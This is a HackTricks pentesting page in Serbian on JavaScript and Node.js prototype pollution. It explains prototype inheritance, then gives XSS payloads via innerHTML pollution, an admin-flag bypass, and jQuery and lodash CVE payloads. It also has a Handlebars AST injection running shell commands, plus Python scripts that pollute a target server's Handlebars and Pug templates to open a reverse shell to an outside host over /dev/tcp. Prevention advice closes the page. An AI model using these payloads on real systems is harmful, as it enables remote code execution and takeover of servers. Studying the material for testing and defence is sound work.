NodeJS - __proto__ & prototype Pollution
Reading time: 12 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Objekti u JavaScript-u
Objekti u JavaScript-u su suštinski kolekcije parova ključ-vrednost, poznatih kao svojstva. Objekat se može kreirati koristeći Object.create
sa null
kao argumentom da bi se proizveo prazan objekat. Ova metoda omogućava kreiranje objekta bez nasleđenih svojstava.
// Run this in the developers tools console
console.log(Object.create(null)) // This will output an empty object.
Prazan objekat je sličan praznom rečniku, predstavljen kao {}
.
Funkcije i klase u JavaScript-u
U JavaScript-u, klase i funkcije su usko povezane, pri čemu funkcije često služe kao konstruktori za klase. I pored nedostatka podrške za klase u JavaScript-u, konstruktori mogu emulirati ponašanje klasa.
// Run this in the developers tools console
function Employee(name, position) {
this.name = name
this.position = position
this.introduce = function () {
return "My name is " + this.name + " and I work as a " + this.position + "."
}
}
Employee.prototype
var employee1 = new Employee("Generic Employee", "Developer")
employee1.__proto__
Prototypes in JavaScript
JavaScript omogućava modifikaciju, dodavanje ili brisanje atributa prototipa u vreme izvođenja. Ova fleksibilnost omogućava dinamičko proširenje funkcionalnosti klasa.
Funkcije kao što su toString
i valueOf
mogu se menjati kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScript-ovog prototipnog sistema.
Inheritance
U programiranju zasnovanom na prototipovima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.
Treba napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je myPersonObj
), nasleđeni objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.
__proto__ pollution
Exploring Prototype Pollution in JavaScript
JavaScript objekti su definisani parovima ključ-vrednost i nasleđuju iz JavaScript Object prototipa. To znači da modifikacija Object prototipa može uticati na sve objekte u okruženju.
Hajde da upotrebimo drugi primer da ilustrujemo:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
Pristup Object prototipu je moguć kroz:
car1.__proto__.__proto__
Vehicle.__proto__.__proto__
Dodavanjem svojstava u Object prototip, svaki JavaScript objekat će naslediti ova nova svojstva:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function () {
console.log("Beep beep!")
}
car1.announce() // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true
console.log(car1.isVehicle) // Outputs true
prototype pollution
Za scenario u kojoj je korišćenje __proto__
ograničeno, modifikacija prototipa funkcije je alternativa:
function Vehicle(model) {
this.model = model
}
var car1 = new Vehicle("Tesla Model S")
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function () {
console.log("Beep beep!")
}
car1.beep() // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true
console.log(car1.hasWheels) // Outputs true
// Alternate method
car1.constructor.prototype.honk = function () {
console.log("Honk!")
}
car1.constructor.prototype.isElectric = true
Ovo utiče samo na objekte kreirane iz Vehicle
konstruktora, dajući im beep
, hasWheels
, honk
i isElectric
svojstva.
Dve metode za globalno utiču na JavaScript objekte kroz zagađenje prototipa uključuju:
- Zagađenje
Object.prototype
direktno:
Object.prototype.goodbye = function () {
console.log("Goodbye!")
}
- Zagađivanje prototipa konstruktora za često korišćenu strukturu:
var example = { key: "value" }
example.constructor.prototype.greet = function () {
console.log("Hello!")
}
Nakon ovih operacija, svaki JavaScript objekat može izvršiti goodbye
i greet
metode.
Zagađivanje drugih objekata
Iz klase u Object.prototype
U scenariju gde možete zagađivati određeni objekat i potrebno je da dođete do Object.prototype
, možete ga potražiti sa nečim poput sledećeg koda:
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
// Search from "window" object
for (let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}
// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for (let key1 in document.querySelector("a")) {
for (let key2 in document.querySelector("a")[key1]) {
if (document.querySelector("a")[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}
Zagađenje elemenata niza
Napomena: pošto možete zagađivati atribute objekata u JS-u, ako imate pristup da zagađujete niz, možete takođe zagađivati vrednosti niza dostupne preko indeksa (napomena: ne možete prepisivati vrednosti, tako da treba da zagađujete indekse koji se na neki način koriste, ali ne pišu).
c = [1, 2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not
Html elements pollution
Kada se generiše HTML element putem JS, moguće je prepisati innerHTML
atribut kako bi se napisao arbitrarni HTML kod. Idea and example from this writeup.
// Create element
devSettings["root"] = document.createElement('main')
// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"
// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
Primeri
Osnovni Primer
Zagađenje prototipa se dešava zbog greške u aplikaciji koja omogućava prepisivanje svojstava na Object.prototype
. To znači da pošto većina objekata nasleđuje svoja svojstva iz Object.prototype
Najlakši primer je dodavanje vrednosti na neodređeni atribut objekta koji će biti proveravan, kao:
if (user.admin) {
Ako je atribut admin
neodređen, moguće je zloupotrebiti PP i postaviti ga na True sa nečim poput:
Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true
Mehanizam iza ovoga uključuje manipulaciju svojstvima tako da, ako napadač ima kontrolu nad određenim ulazima, može modifikovati prototip svih objekata u aplikaciji. Ova manipulacija obično uključuje postavljanje __proto__
svojstva, koje je u JavaScript-u sinonim za direktno modifikovanje prototipa objekta.
Uslovi pod kojima se ovaj napad može uspešno izvršiti, kako je navedeno u specifičnoj studiji, uključuju:
- Izvršavanje rekurzivnog spajanja.
- Definisanje svojstava na osnovu puta.
- Kloniranje objekata.
Override function
customer.__proto__.toString = ()=>{alert("polluted")}
Proto Pollution to RCE
Ostali payloadi:
Client-side prototype pollution to XSS
Client Side Prototype Pollution
CVE-2019–11358: Napad prototipne kontaminacije kroz jQuery $ .extend
Za više detalja pogledajte ovaj članak U jQuery, funkcija $ .extend
može dovesti do kontaminacije prototipa ako se funkcija dubokog kopiranja koristi nepravilno. Ova funkcija se obično koristi za kloniranje objekata ili spajanje svojstava iz podrazumevanog objekta. Međutim, kada je pogrešno konfigurisana, svojstva namenjena novom objektu mogu biti dodeljena prototipu umesto toga. Na primer:
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode) // Outputs: true
Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija može nenamerno da izmeni prototip, što dovodi do potencijalnih bezbednosnih rizika, kao što je neovlašćen pristup administratoru ako se svojstva poput isAdmin
proveravaju bez odgovarajuće verifikacije postojanja.
CVE-2018–3721, CVE-2019–10744: Napad zagađenja prototipa kroz lodash
Za više detalja pogledajte ovaj članak
Lodash se suočio sa sličnim ranjivostima zagađenja prototipa (CVE-2018–3721, CVE-2019–10744). Ovi problemi su rešeni u verziji 4.17.11.
Još jedan tutorijal sa CVE-ima
Alati za otkrivanje zagađenja prototipa
- Server-Side-Prototype-Pollution-Gadgets-Scanner: Ekstenzija za Burp Suite dizajnirana za otkrivanje i analizu ranjivosti zagađenja prototipa na serverskoj strani u web aplikacijama. Ovaj alat automatizuje proces skeniranja zahteva kako bi identifikovao potencijalne probleme sa zagađenjem prototipa. Iskorišćava poznate gadgete - metode korišćenja zagađenja prototipa za izvršavanje štetnih radnji - fokusirajući se posebno na Node.js biblioteke.
- server-side-prototype-pollution: Ova ekstenzija identifikuje ranjivosti zagađenja prototipa na serverskoj strani. Koristi tehnike opisane u zagađenju prototipa na serverskoj strani.
AST zagađenje prototipa u NodeJS
NodeJS široko koristi Apstraktna Sintaktička Stabla (AST) u JavaScript-u za funkcionalnosti poput engine-a za šablone i TypeScript-a. Ovaj deo istražuje ranjivosti povezane sa zagađenjem prototipa u engine-ima za šablone, posebno Handlebars i Pug.
Analiza ranjivosti Handlebars
Engine za šablone Handlebars je podložan napadu zagađenja prototipa. Ova ranjivost proizašla je iz specifičnih funkcija unutar datoteke javascript-compiler.js
. Funkcija appendContent
, na primer, konkatenira pendingContent
ako je prisutan, dok funkcija pushSource
resetuje pendingContent
na undefined
nakon dodavanja izvora.
Proces eksploatacije
Eksploatacija koristi AST (Apstraktno Sintaktičko Stablo) koje proizvodi Handlebars, prateći ove korake:
- Manipulacija Parserom: U početku, parser, putem čvora
NumberLiteral
, nameće da su vrednosti numeričke. Zagađenje prototipa može to zaobići, omogućavajući umetanje nenumeričkih stringova. - Obrada od strane Kompilatora: Kompilator može obraditi AST objekat ili string šablon. Ako
input.type
jednakoProgram
, ulaz se tretira kao prethodno analiziran, što se može iskoristiti. - Umetanje Koda: Kroz manipulaciju
Object.prototype
, može se umetnuti proizvoljan kod u funkciju šablona, što može dovesti do daljinskog izvršavanja koda.
Primer koji ilustruje eksploataciju ranjivosti Handlebars:
const Handlebars = require("handlebars")
Object.prototype.type = "Program"
Object.prototype.body = [
{
type: "MustacheStatement",
path: 0,
params: [
{
type: "NumberLiteral",
value:
"console.log(process.mainModule.require('child_process').execSync('id').toString())",
},
],
loc: {
start: 0,
end: 0,
},
},
]
const source = `Hello {{ msg }}`
const template = Handlebars.precompile(source)
console.log(eval("(" + template + ")")["main"].toString())
Ovaj kod prikazuje kako napadač može ubrizgati proizvoljan kod u Handlebars šablon.
Spoljašnja referenca: Problem vezan za zagađenje prototipa pronađen je u 'flat' biblioteci, kako je detaljno opisano ovde: Issue on GitHub.
Spoljašnja referenca: Issue related to prototype pollution in the 'flat' library
Primer eksploatacije zagađenja prototipa u Python-u:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})
# execute
requests.get(TARGET_URL)
Pug ranjivost
Pug, još jedan engine za šablone, suočava se sa sličnim rizikom od zagađenja prototipa. Detaljne informacije su dostupne u diskusiji o AST Injection in Pug.
Primer zagađenja prototipa u Pug:
import requests
TARGET_URL = 'http://10.10.10.10:9090'
# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})
# execute
requests.get(TARGET_URL)
Preventivne Mere
Da bi se smanjio rizik od zagađenja prototipa, mogu se primeniti sledeće strategije:
- Imutabilnost objekta:
Object.prototype
se može učiniti imutabilnim primenomObject.freeze
. - Validacija ulaza: JSON ulazi treba rigorozno validirati prema šemi aplikacije.
- Sigurne funkcije spajanja: Treba izbegavati nesigurnu upotrebu rekurzivnih funkcija spajanja.
- Objekti bez prototipa: Objekti bez svojstava prototipa mogu se kreirati koristeći
Object.create(null)
. - Korišćenje Map: Umesto
Object
, treba koristitiMap
za čuvanje parova ključ-vrednost. - Ažuriranje biblioteka: Sigurnosne zakrpe mogu se uključiti redovnim ažuriranjem biblioteka.
- Linter i alati za statičku analizu: Koristite alate poput ESLint-a sa odgovarajućim plugin-ovima za otkrivanje i sprečavanje ranjivosti na zagađenje prototipa.
- Revizije koda: Implementirati temeljne revizije koda kako bi se identifikovali i otklonili potencijalni rizici vezani za zagađenje prototipa.
- Obuka o bezbednosti: Obrazovati programere o rizicima zagađenja prototipa i najboljim praksama za pisanje sigurnog koda.
- Korišćenje biblioteka sa oprezom: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procijenite njihovu sigurnosnu poziciju i pregledajte njihov kod, posebno one koji manipulišu objektima.
- Zaštita u vreme izvođenja: Primena mehanizama zaštite u vreme izvođenja, kao što su korišćenje npm paketa fokusiranih na sigurnost koji mogu otkriti i sprečiti napade zagađenja prototipa.
Reference
- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
- https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l
- https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7
- https://blog.p6.is/AST-Injection/
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.